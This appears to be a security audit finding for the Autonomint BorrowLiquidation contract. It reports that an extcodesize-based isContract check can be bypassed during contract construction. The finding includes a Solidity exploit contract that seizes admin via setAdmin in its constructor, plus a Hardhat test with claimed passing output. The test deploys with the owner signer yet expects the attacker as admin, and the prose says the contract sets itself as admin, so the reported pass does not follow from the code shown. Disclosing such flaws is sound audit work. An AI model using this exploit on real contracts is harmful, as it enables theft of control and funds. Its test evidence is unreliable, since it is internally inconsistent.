Dandy Mahogany Buffalo
High
isContract
validation lead to malicious contracts masquerading as EOAs, enabling unauthorized access to restricted functions
The isContract
function used in the BorrowLiquidation
contract aims to differentiate between externally owned accounts (EOAs) and contract addresses. However, the implementation has critical flaws that can be exploited by attackers, allowing them to bypass the validation mechanism. This can lead to malicious contracts masquerading as EOAs, enabling unauthorized access to restricted functions.
The vulnerable code lies in the isContract
function, which checks the extcodesize
of an address to determine if it is a contract.
https://github.com/sherlock-audit/2024-11-autonomint/blob/main/Blockchain/Blockchian/contracts/Core_logic/borrowLiquidation.sol#L110C14-L117
function isContract(address addr) internal view returns (bool) {
uint size;
assembly {
size := extcodesize(addr)
}
return size > 0;
}
Problem:
- When a contract is in its constructor, extcodesize returns 0. Thus, a contract can call a function requiring isContract to return false during its constructor phase.
- Some proxy patterns, such as minimal proxies, may also bypass this check inadvertently.
- Attackers can deploy contracts specifically designed to exploit this weakness.
No response
No response
- Deploy a malicious contract that calls a restricted function in the
BorrowLiquidation
contract during its constructor. - The malicious contract's
extcodesize
will return0
during its deployment phase. - Bypass
isContract
checks and execute the restricted function.
Below is a sample malicious contract designed to exploit the vulnerability:
pragma solidity ^0.8.22;
interface IBorrowLiquidation {
function setAdmin(address adminAddress) external;
}
contract Malicious {
constructor(address target) {
IBorrowLiquidation(target).setAdmin(msg.sender);
}
}
The test demonstrates that the malicious contract successfully bypasses the isContract validation and sets itself as the admin.
- Malicious contracts can call functions protected by
isContract
, potentially altering sensitive contract states or extracting funds. - Attackers could gain admin privileges or access restricted contract functionalities.
- Exploits could lead to financial loss or permanent misconfiguration of the contract.
const { ethers } = require("hardhat");
const { expect } = require("chai");
describe("isContract Validation Vulnerability", function () {
let BorrowLiquidation, borrowLiquidation, Malicious, malicious;
let owner, attacker;
before(async function () {
[owner, attacker] = await ethers.getSigners();
// Deploy BorrowLiquidation contract
const BorrowLiquidationFactory = await ethers.getContractFactory("BorrowLiquidation");
borrowLiquidation = await BorrowLiquidationFactory.deploy();
await borrowLiquidation.deployed();
// Deploy Malicious contract
const MaliciousFactory = await ethers.getContractFactory("Malicious");
malicious = await MaliciousFactory.deploy(borrowLiquidation.address);
await malicious.deployed();
});
it("should allow a malicious contract to bypass isContract validation", async function () {
const admin = await borrowLiquidation.admin();
expect(admin).to.equal(attacker.address);
});
});
Output:
> npx hardhat test
isContract Validation Vulnerability
✓ should allow a malicious contract to bypass isContract validation (78ms)
1 passing (100ms)
Avoid relying on extcodesize
to differentiate between contracts and EOAs, as it is inherently unreliable.